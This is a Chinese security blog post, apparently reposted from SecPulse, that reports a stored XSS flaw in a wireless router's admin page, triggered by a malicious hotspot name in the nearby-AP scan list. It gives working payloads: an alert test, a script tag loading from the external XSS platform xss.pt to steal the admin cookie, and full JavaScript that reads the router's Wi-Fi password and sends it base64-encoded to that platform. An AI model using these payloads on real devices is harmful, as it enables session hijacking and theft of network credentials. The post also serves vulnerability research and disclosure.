今天本想使用台式机上网,然而身边并没有有线接入点。于是乎,想到可以利用无线路由器的WISP功能


正好从小伙伴那里蹭到了一个无线路由器,如下图所示:

seoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-135049-1594349632.jpg" style="margin:10px 0px;padding:0px;box-sizing:border-box;border-width:1px;border-style:solid;border-color:#EEEEEE;image-rendering:-webkit-optimize-contrast;max-width:90%;max-height:90%;cursor:zoom-in;" />

虽然丑但是好用哇,咱们登陆后台将路由器配置为无线信号放大模式

emmmm,在选择无线信号名称这里我们发现了一个有意思的选项(扫描上级AP站点信息):

扫描上级AP站点信息之后我们可以获取附近无线热点的一些简要信息,如SSID、MAC等等,如下图所示:

于是我们就想到这样一种攻击思路,是否可以生成一个无线热点,把名字修改为XSS payload,是不是这样受害者在扫描附近AP信息的时候就会执行XSS

emmm,我们先看看XSS注入点

XSS注入点在元素内容处,我们可以直接使用<script>alert(1)</script>这类payload


使用手机生成一个热点名称为:%3d/><script>alert(1)</script>

前面%3d/>没有用,只是为了方便以后测试。Emmm,居然没有任何过滤哈哈哈

wink,光弹窗也不是回事呀,我们来试试获取管理员的cookie

修改热点名称为:

<script src=http://xss.pt/ENRM></script>

再次扫描附近无线后,可以看到我们已经成功获得了被攻击者的Cookie

emmm,作为攻击者现在我们可以登录路由器后台啦,但是我们还不知道无线密码是多少,我们来试试能不能通过JS读取Wi-Fi无线密码


首先我们先看看Wi-Fi密码存在什么位置

虽然密码打*了,但是还是能读出来哒。我们不妨使用

var password = "nothing";var httpRequest = new XMLHttpRequest();    httpRequest.open('GET', 'http://192.168.2.1/goform/wirelessGetSecurity', true);    httpRequest.send();     httpRequest.onreadystatechange = function () {        if (httpRequest.readyState == 4 && httpRequest.status == 200) {            password = window.btoa(httpRequest.responseText);            console.log(password);            var sendPassword = new XMLHttpRequest();            sendPassword.open('GET', 'http://xss.pt/xss.php?do=api&id=ENRM&password='+ password, true);            sendPassword.send();        }    };

测试一下,可以看到console中已经打印出来密码信息

通过抓包也可以看到请求已经发送至平台

nice

解码后我们就得到了Wi-Fi密码

emmmm,虽然我们最后拿到了相关权限,但是这个漏洞还是很鸡肋因为必须要在目标附近创建热点,就算在附近、人家也不一定会点击扫描热点,就算点击了扫描热点、人家也不一定已经连网,这个漏洞需要的条件太苛刻


但是这个漏洞还是蛮有意思的.....如果有小伙伴有更好的利用思路,欢迎下方留言哇!


本文作者:物联网IOT安全

本文为安全脉搏专栏作者发布,转自:https://www.secpulse.com/archives/135049.html